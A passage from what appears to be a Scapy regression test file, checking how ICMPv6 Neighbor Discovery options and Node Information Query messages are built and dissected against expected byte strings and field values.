and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptRedirectedHdr Class ########################## + ICMPv6NDOptRedirectedHdr Class Test = ICMPv6NDOptRedirectedHdr - Basic Instantiation ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr()) == '\x04\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Instantiation with specific values ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr(len=0xff, res=0x1111, pkt="somestringthatisnotanipv6packet")) == '\x04\xff4369\x00\x00somestringthatisnotanipv' = ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer) ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == '\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRedirectedHdr - Basic Dissection ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\x00\x00\x00') assert(a.type == 4) assert(a.len == 0) assert(a.res == "\x00\x00") assert(a.pkt == "") = ICMPv6NDOptRedirectedHdr - Disssection with specific values ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\xff\x11\x11\x00\x00\x00\x00somestringthatisnotanipv6pac') a.type == 4 and a.len == 255 and a.res == '\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == "somestringthatisnotanipv6pac" = ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 4 and a.len == 6 and a.res == "\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == '`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Complete dissection ~ ICMPv6NDOptRedirectedHdr x=ICMPv6NDOptRedirectedHdr('\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') y=x.copy() del(y.len) x == ICMPv6NDOptRedirectedHdr(str(y)) # Add more tests ########### ICMPv6NDOptMTU Class #################################### + ICMPv6NDOptMTU Class Test = ICMPv6NDOptMTU - Basic Instantiation str(ICMPv6NDOptMTU()) == '\x05\x01\x00\x00\x00\x00\x05\x00' = ICMPv6NDOptMTU - Instantiation with specific values str(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == '\x05\x02\x11\x11\x00\x00\x05\xdc' = ICMPv6NDOptMTU - Basic dissection a=ICMPv6NDOptMTU('\x05\x01\x00\x00\x00\x00\x05\x00') a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280 = ICMPv6NDOptMTU - Dissection with specific values a=ICMPv6NDOptMTU('\x05\x02\x11\x11\x00\x00\x05\xdc') a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500 ########### ICMPv6NDOptShortcutLimit Class ########################## + ICMPv6NDOptShortcutLimit Class Test (RFC2491) = ICMPv6NDOptShortcutLimit - Basic Instantiation str(ICMPv6NDOptShortcutLimit()) == '\x06\x01(\x00\x00\x00\x00\x00' = ICMPv6NDOptShortcutLimit - Instantiation with specific values str(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == '\x06\x02\x11\xee\xaa\xaa\xaa\xaa' = ICMPv6NDOptShortcutLimit - Basic Dissection a=ICMPv6NDOptShortcutLimit('\x06\x01(\x00\x00\x00\x00\x00') a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0 = ICMPv6NDOptShortcutLimit - Dissection with specific values a=ICMPv6NDOptShortcutLimit('\x06\x02\x11\xee\xaa\xaa\xaa\xaa') a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa ########### ICMPv6NDOptAdvInterval Class ############################ + ICMPv6NDOptAdvInterval Class Test = ICMPv6NDOptAdvInterval - Basic Instantiation str(ICMPv6NDOptAdvInterval()) == '\x07\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptAdvInterval - Instantiation with specific values str(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == '\x07\x02\x11\x11\xff\xff\xff\xff' = ICMPv6NDOptAdvInterval - Basic dissection a=ICMPv6NDOptAdvInterval('\x07\x01\x00\x00\x00\x00\x00\x00') a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0 = ICMPv6NDOptAdvInterval - Dissection with specific values a=ICMPv6NDOptAdvInterval('\x07\x02\x11\x11\xff\xff\xff\xff') a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff ########### ICMPv6NDOptHAInfo Class ################################# + ICMPv6NDOptHAInfo Class Test = ICMPv6NDOptHAInfo - Basic Instantiation str(ICMPv6NDOptHAInfo()) == '\x08\x01\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptHAInfo - Instantiation with specific values str(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == '\x08\x02\x11\x11""33' = ICMPv6NDOptHAInfo - Basic dissection a=ICMPv6NDOptHAInfo('\x08\x01\x00\x00\x00\x00\x00\x01') a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1 = ICMPv6NDOptHAInfo - Dissection with specific values a=ICMPv6NDOptHAInfo('\x08\x02\x11\x11""33') a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333 ########### ICMPv6NDOptSrcAddrList Class (RFC 3122) ################# + ICMPv6NDOptSrcAddrList Class Test = ICMPv6NDOptSrcAddrList - Basic Instantiation str(ICMPv6NDOptSrcAddrList()) == '\t\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len) str(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Instantiation with specific values str(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Basic Dissection a=ICMPv6NDOptSrcAddrList('\t\x01\x00\x00\x00\x00\x00\x00') a.type == 9 and a.len == 1 and a.res == '\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptSrcAddrList('\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 5 and a.res == 'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptSrcAddrList - Dissection with specific values conf.debug_dissector = False a=ICMPv6NDOptSrcAddrList('\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') conf.debug_dissector = True a.type == 9 and a.len == 3 and a.res == 'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == '\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptTgtAddrList Class (RFC 3122) ################# + ICMPv6NDOptTgtAddrList Class Test = ICMPv6NDOptTgtAddrList - Basic Instantiation str(ICMPv6NDOptTgtAddrList()) == '\n\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len) str(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Instantiation with specific values str(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Basic Dissection a=ICMPv6NDOptTgtAddrList('\n\x01\x00\x00\x00\x00\x00\x00') a.type == 10 and a.len == 1 and a.res == '\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptTgtAddrList('\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 5 and a.res == 'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptTgtAddrList - Instantiation with specific values conf.debug_dissector = False a=ICMPv6NDOptTgtAddrList('\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') conf.debug_dissector = True a.type == 10 and a.len == 3 and a.res == 'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == '\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptIPAddr Class (RFC 4068) ###################### + ICMPv6NDOptIPAddr Class Test (RFC 4068) = ICMPv6NDOptIPAddr - Basic Instantiation str(ICMPv6NDOptIPAddr()) == '\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptIPAddr - Instantiation with specific values str(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == '\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptIPAddr - Basic Dissection a=ICMPv6NDOptIPAddr('\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::" = ICMPv6NDOptIPAddr - Dissection with specific values a=ICMPv6NDOptIPAddr('\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111" ########### ICMPv6NDOptNewRtrPrefix Class (RFC 4068) ################ + ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068) = ICMPv6NDOptNewRtrPrefix - Basic Instantiation str(ICMPv6NDOptNewRtrPrefix()) == '\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptNewRtrPrefix - Instantiation with specific values str(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == '\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptNewRtrPrefix - Basic Dissection a=ICMPv6NDOptNewRtrPrefix('\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::" = ICMPv6NDOptNewRtrPrefix - Dissection with specific values a=ICMPv6NDOptNewRtrPrefix('\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111" ########### ICMPv6NDOptLLA Class (RFC 4068) ######################### + ICMPv6NDOptLLA Class Test (RFC 4068) = ICMPv6NDOptLLA - Basic Instantiation str(ICMPv6NDOptLLA()) == '\x13\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptLLA - Instantiation with specific values str(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == '\x13\x02\x03\xff\x11\xff\x11\xff\x11' = ICMPv6NDOptLLA - Basic Dissection a=ICMPv6NDOptLLA('\x13\x01\x00\x00\x00\x00\x00\x00\x00') a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00" = ICMPv6NDOptLLA - Dissection with specific values a=ICMPv6NDOptLLA('\x13\x02\x03\xff\x11\xff\x11\xff\x11') a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11" ########### ICMPv6NDOptRouteInfo Class (RFC 4191) ################### + ICMPv6NDOptRouteInfo Class Test = ICMPv6NDOptRouteInfo - Basic Instantiation str(ICMPv6NDOptRouteInfo()) == '\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length str(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4) str(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4) str(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4) str(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4) str(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Instantiation with specific values str(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == '\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Basic dissection a=ICMPv6NDOptRouteInfo('\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::" = ICMPv6NDOptRouteInfo - Dissection with specific values a=ICMPv6NDOptRouteInfo('\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptMAP Class (RFC 4191) ################### + ICMPv6NDOptMAP Class Test = ICMPv6NDOptMAP - Basic Instantiation str(ICMPv6NDOptMAP()) == '\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptMAP - Instantiation with specific values str(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == '\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptMAP - Basic Dissection a=ICMPv6NDOptMAP('\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::" = ICMPv6NDOptMAP - Dissection with specific values a=ICMPv6NDOptMAP('\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111" ########### ICMPv6NDOptRDNSS Class (RFC5006) ######################## + ICMPv6NDOptRDNSS Class Test = ICMPv6NDOptRDNSS - Basic Instantiation str(ICMPv6NDOptRDNSS()) == '\x19\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address str(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == '\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses str(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == '\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Instantiation with specific values str(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == '\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Basic Dissection a=ICMPv6NDOptRDNSS('\x19\x01\x00\x00\xff\xff\xff\xff') a.type==25 and a.len==1 and a.res == 0 and a.dns==[] = ICMPv6NDOptRDNSS - Dissection (with 1 DNS address) a=ICMPv6NDOptRDNSS('\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1" = ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses) a=ICMPv6NDOptRDNSS('\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2" ########### ICMPv6NDOptDNSSL Class (RFC6106) ######################## + ICMPv6NDOptDNSSL Class Test = ICMPv6NDOptDNSSL - Basic Instantiation str(ICMPv6NDOptDNSSL()) == '\x1f\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptDNSSL - Instantiation with 1 search domain, as seen in the wild str(ICMPv6NDOptDNSSL(lifetime=60, searchlist=["home."])) == '\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 2 search domains str(ICMPv6NDOptDNSSL(searchlist=["home.", "office."])) == '\x1f\x03\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 3 search domains str(ICMPv6NDOptDNSSL(searchlist=["home.", "office.", "here.there."])) == '\x1f\x05\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x04here\x05there\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic Dissection p = ICMPv6NDOptDNSSL('\x1f\x01\x00\x00\xff\xff\xff\xff') p.type == 31 and p.len == 1 and p.res == 0 and p.searchlist == [] = ICMPv6NDOptDNSSL - Basic Dissection with specific values p = ICMPv6NDOptDNSSL('\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00') p.type == 31 and p.len == 2 and p.res == 0 and p.lifetime == 60 and p.searchlist == ["home."] ########### ICMPv6NDOptEFA Class (RFC5075) ########################## + ICMPv6NDOptEFA Class Test = ICMPv6NDOptEFA - Basic Instantiation str(ICMPv6NDOptEFA()) == '\x1a\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptEFA - Basic Dissection a=ICMPv6NDOptEFA('\x1a\x01\x00\x00\x00\x00\x00\x00') a.type==26 and a.len==1 and a.res == 0 ##################################################################### + Test Node Information Query - ICMPv6NIQueryNOOP = ICMPv6NIQueryNOOP - Basic Instantiation str(ICMPv6NIQueryNOOP(nonce="\x00"*8)) == '\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIQueryNOOP - Basic Dissection a = ICMPv6NIQueryNOOP('\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == "\x00"*8 and a.data == "" ##################################################################### + Test Node Information Query - ICMPv6NIQueryName = ICMPv6NIQueryName - single label DNS name (internal) a=ICMPv6NIQueryName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryName - single label DNS name ICMPv6NIQueryName(data="abricot").data == "abricot" = ICMPv6NIQueryName - fqdn (internal) a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryName - fqdn ICMPv6NIQueryName(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryName - IPv6 address (internal) a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryName - IPv6 address ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryName - IPv4 address (internal) a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryName - IPv4 address ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv6 = ICMPv6NIQueryIPv6 - single label DNS name (internal) a=ICMPv6NIQueryIPv6(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryIPv6 - single label DNS name ICMPv6NIQueryIPv6(data="abricot").data == "abricot" = ICMPv6NIQueryIPv6 - fqdn (internal) a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv6 - fqdn ICMPv6NIQueryIPv6(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryIPv6 - IPv6 address (internal) a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv6 - IPv6 address ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv6 - IPv4 address (internal) a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv6 - IPv4 address ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv4 = ICMPv6NIQueryIPv4 - single label DNS name (internal) a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryIPv4 - single label DNS name ICMPv6NIQueryIPv4(data="abricot").data == "abricot" = ICMPv6NIQueryIPv4 - fqdn (internal) a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv4 - fqdn ICMPv6NIQueryIPv4(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryIPv4 - IPv6 address (internal) a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv4 - IPv6 address ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv4 - IPv4 address (internal) a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv4 - IPv4 address ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - Flags tests = ICMPv6NIQuery* - flags handling (Test 1) t = ICMPv6NIQueryIPv6(flags="T") a = ICMPv6NIQueryIPv6(flags="A") c = ICMPv6NIQueryIPv6(flags="C") l = ICMPv6NIQueryIPv6(flags="L") s = ICMPv6NIQueryIPv6(flags="S") g = ICMPv6NIQueryIPv6(flags="G") allflags = ICMPv6NIQueryIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIQuery* - flags handling (Test 2) t = str(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8] a = str(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8] c = str(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8] l = str(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8] s = str(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8] g = str(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8] allflags = str(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == '\x00\x01' and a == '\x00\x02' and c == '\x00\x04' and l == '\x00\x08' and s == '\x00\x10' and g == '\x00\x20' and allflags == '\x00\x3F' = ICMPv6NIReply* - flags handling (Test 1) t = ICMPv6NIReplyIPv6(flags="T") a = ICMPv6NIReplyIPv6(flags="A") c = ICMPv6NIReplyIPv6(flags="C") l = ICMPv6NIReplyIPv6(flags="L") s = ICMPv6NIReplyIPv6(flags="S") g = ICMPv6NIReplyIPv6(flags="G") allflags = ICMPv6NIReplyIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIReply* - flags handling (Test 2) t = str(ICMPv6NIReplyNOOP(flags="T", nonce="A"*8))[6:8] a = str(ICMPv6NIReplyNOOP(flags="A", nonce="A"*8))[6:8] c = 